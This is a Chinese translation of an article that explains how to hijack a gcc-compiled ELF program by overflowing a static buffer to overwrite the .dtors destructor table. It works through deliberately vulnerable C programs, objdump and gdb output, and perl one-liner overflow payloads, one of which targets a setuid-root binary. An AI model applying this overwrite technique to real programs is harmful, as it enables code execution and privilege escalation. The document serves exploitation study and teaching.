通过覆盖.dtors进行缓冲区溢出攻击 作者:Juan M. Bello Rivas 整理:warning3 < warning3@ > 主页:http://www. 日期:2000-12-14 介绍: ----- 本文简要介绍了一种获取C程序(此程序应当是用gcc编译的)执行流程控制 的技术。本文假设读者熟悉普通的缓冲区溢出技术以及ELF文件格式。 鸣谢: ------ 感谢ga和dvorak的有趣讨论。 综述: -------- gcc为函数提供了几种类型的属性,其中两个是我们特别感兴趣的:构造 函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方 式来指定这些属性: static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); 带有"构造函数"属性的函数将在main()函数之前被执行,而声明为"析构函数"属 性的函数则将在_after_ main()退出时执行。 在生成的ELF可执行印像将会包含两个不同的节:.ctors和.dtors。它们都 有类似下面的布局: 0xffffffff <函数地址> <另一个函数地址> ... 0x00000000 注意:如果你真得想要了解有关这部分的所有知识,我建议你去看 gcc-2.95.2/gcc/collect2.c 我们应当知道的几件事情包括: * .ctors和.dtors将会被映射到进程地址空间中,缺省是可写的。 * 在对二进制文件正常的strip(1)命令后,这些节不会被去掉。 * 我们并不关心是否程序员已经设置了任何的构造函数和析构函数,因为这 两节总会出现而且会被映射到内存空间中。 技术细节: ---------- 现在是演示一下我们先前所说的时候了: [warning3@redhat-6 dtor]$ cat > yopta.c <<EOF #include <stdio.h> #include <stdlib.h> static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); int main(int argc, char *argv[]) { printf("start == %p\n", start); printf("stop == %p\n", stop); exit(EXIT_SUCCESS); } void start(void) { printf("hello world!\n"); } void stop(void) { printf("goodbye world!\n"); } EOF [warning3@redhat-6 dtor]$ gcc -o yopta yopta.c [warning3@redhat-6 dtor]$ ./yopta hello world! start == 0x8048434 stop == 0x8048448 goodbye world! [warning3@redhat-6 dtor]$ objdump -h yopta yopta: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn <...> 16 .ctors 0000000c 080494f8 080494f8 000004f8 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 0000000c 08049504 08049504 00000504 2**2 CONTENTS, ALLOC, LOAD, DATA <....> [warning3@redhat-6 dtor]$ objdump -s -j .dtors yopta yopta: file format elf32-i386 Contents of section .dtors: 8049504 ffffffff 48840408 00000000 ....H....... 我们可以看到就象前面所说的那样,stop()的地址(0x08048448)被储存在.dtors 中。0xffffffff是.dtors的头标记,0x00000000是.dtors的尾标记。 既然我们的目的是对程序本身进行攻击,因此从现在开始就让我们完全忘掉 .ctors,因为我们不能用它做任何有用的事。(溢出总是发生在main()开始后) 让我们试一个正常的程序,它没有使用这些函数属性标记。 [warning3@redhat-6 dtor]$ cat > bleh.c <<EOF #include <stdio.h> #include <stdlib.h> #include <sys/types.h> static void bleh(void); int main(int argc, char *argv[]) { static u_char buf[] = "bleh"; if (argc < 2) exit(EXIT_FAILURE); strcpy(buf, argv[1]); exit(EXIT_SUCCESS); } void bleh(void) { printf("goffio!\n"); } EOF [warning3@redhat-6 dtor]$ gcc -o bleh bleh.c [warning3@redhat-6 dtor]$ ./bleh [warning3@redhat-6 dtor]$ objdump -h bleh bleh: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn <....> 14 .data 00000014 080494dc 080494dc 000004dc 2**2 CONTENTS, ALLOC, LOAD, DATA 15 .eh_frame 00000004 080494f0 080494f0 000004f0 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .ctors 00000008 080494f4 080494f4 000004f4 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 00000008 080494fc 080494fc 000004fc 2**2 CONTENTS, ALLOC, LOAD, DATA <....> 我们看到即使没有任何函数被标记为析构属性,.dtors仍然会出现。现在我们 来看一下它的内容: [warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh bleh: file format elf32-i386 Contents of section .dtors: 80494fc ffffffff 00000000 ........ 我们看到程序的.dtors中没有指定任何析构函数的地址。 可能我们将buf声明为静态的而且将其初始化看起来有些奇怪。我们这么做 只是为了将其储存在.data区,它非常靠近.dtors节。[ 译者注:参看前面 objdump -h bleh的结果,.data在.dtors更低的内存区 ] 这不是我们将数据写入.dtors的唯一方法,你可以使用任何方法来完成,例如 格式串攻击,通过返回libc来直接使用strcpy(),利用malloc块分配错误等等。 这里采用这种做法只是为了简化起见。 现在我们的目的是要执行bleh()函数中的代码,正常情况下这是不可能发生的。 但我们可以通过在.dtors中增加一个指向bleh()的函数入口来达到目的。我们必 须覆盖0x0000000(地址在0x080494fc)。 [warning3@redhat-6 dtor]$ objdump --syms bleh | egrep 'text.*bleh' 08048468 l F .text 00000012 bleh 我们看bleh()函数的地址是0x08048468.现在到了真正进行攻击的时候了: [warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "\x68\x84\x04\x08";'` goffio! Segmentation fault (core dumped) [译者注:我们看一下如何确定"A"的个数: [warning3@redhat-6 dtor]$ objdump -s -j .dtors -j .data bleh bleh: file format elf32-i386 Contents of section .data: 80494dc 00000000 00950408 00000000 626c6568 ............bleh 80494ec 00000000 .... "bleh"的起始地址为 0x80494dc + 0x0c = 0x80494e8 [warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh bleh: file format elf32-i386 Contents of section .dtors: 80494fc ffffffff 00000000 ........ 我们要覆盖的地址为0x80494fc + 0x04 = 0x8049500 因此我们用来填充的'A'的个数就等于: 0x8049500 - 0x80494e8 = 0x18 = 24 ] 我们看到bleh()函数象我们预料的那样被执行了。不过最好还是让我们看一下 得到的进程映像(core),看看到底发生了些什么变化。 [warning3@redhat-6 dtor]$ gdb -q bleh core Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAh'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x8049508 in _GLOBAL_OFFSET_TABLE_ () (gdb) bt #0 0x8049508 in _GLOBAL_OFFSET_TABLE_ () #1 0x80484 in ?? () #2 0x8049500 in __DTOR_END__ () #3 0x80484d0 in _IO_stdin_used () Cannot access memory at address 0x68e58955. (gdb) maintenance info sections Exec file: `/home/warning3/dtor/bleh', file type elf32-i386. <....> 0x080494dc->0x080494f0 at 0x000004dc: .data ALLOC LOAD DATA HAS_CONTENTS 0x080494f0->0x080494f4 at 0x000004f0: .eh_frame ALLOC LOAD DATA HAS_CONTENTS 0x080494f4->0x080494fc at 0x000004f4: .ctors ALLOC LOAD DATA HAS_CONTENTS 0x080494fc->0x08049504 at 0x000004fc: .dtors ALLOC LOAD DATA HAS_CONTENTS 0x08049504->0x0804952c at 0x00000504: .got ALLOC LOAD DATA HAS_CONTENTS <....> 现在让我们检查一下什么被覆盖了: (gdb) x/x 0x080494f0 0x80494f0 <force_to_data>: 0x41414141 这部分是.eh_frame(这一节被gcc用来为支持它们的语言存储异常处理函数指针) 的内容 (gdb) x/x 0x080494f4 0x80494f4 <__CTOR_LIST__>: 0x41414141 (gdb) x/8x 0x080494fc 0x80494fc <__DTOR_LIST__>: 0x41414141 0x08048468 0x08049500 0x40013ed0 0x804950c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fa530 0x08048336 0x400328cc 我们看到,我们甚至根本不用担心0xffffffff这个头标记被覆盖,只须将bleh() 的地址放在正确的位置就可以使我们的代码被执行了。我们也发现最后进程发生 了段错误,这显然是由于进程会不断搜索.dtors的结尾标记(0x00000000),在找 到之前将依次跳到我们所填充地址(0x8049500)后的每个地址去执行,由于结尾 标记被我们覆盖了,导致程序跳到了GOT表中去执行了,所以才会发生错误。 结论: ---------- 这里展示了另外一种执行shellcode代码的方法。这种技术有以下的一些优点: * 如果二进制目标文件攻击者是可读的,那么找到我们想写入的确切目 标地址是很容易的,只需要分析ELF映像确定.dtors的位置即可。这将大 大提高攻击的可靠性。 * 它比覆盖GOT表的技术更简单。 弱点: * 要求目标程序必须被GNU工具编译和连接。 * 在某些情况下,知道程序退出也很难找到一个地方来存放shellcode [译者注:这种方法实际上还有一个问题就是,由于析构函数是在main()函数退 出之后才执行的,因此,如果程序在发生溢出后,又执行了setuid(saveduid)这 样丢弃root权限的操作,攻击者将不能得到root(或者其他用户)权限。 我们将bleh.c稍做修改: [warning3@redhat-6 dtor]$ cat bleh.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> static void bleh(void); void vulfun(char *ptr) { static u_char buf[] = "bleh"; strcpy(buf, ptr); } int main(int argc, char *argv[]) { int saved_uid = getuid(); if (argc < 2) exit(EXIT_FAILURE); printf("Before overflow: UID = %d, EUID = %d\n", getuid(), geteuid()); vulfun(argv[1]); /* 我们在调用了问题函数vulfun之后,丢弃了root权限 */ setuid(saved_uid); printf("After overflow: UID = %d, EUID = %d\n", getuid(), geteuid()); exit(EXIT_SUCCESS); } void bleh(void) { printf(".dtors has been overwritten! UID = %d, EUID = %d\n", getuid(), geteuid()); } [warning3@redhat-6 dtor]$ ls -l bleh -rwsr-xr-x 1 root root 12657 Dec 13 19:05 bleh* [warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "\x74\x85\x04\x08";'` Before overflow: UID = 507, EUID = 0 After overflow: UID = 507, EUID = 507 .dtors has been overwritten! UID = 507, EUID = 507 Segmentation fault 因此我们看到,由于程序丢弃了root权限,我们最后只能以普通用户身份执行bleh(). |
|
来自: astrotycoon > 《链接加载》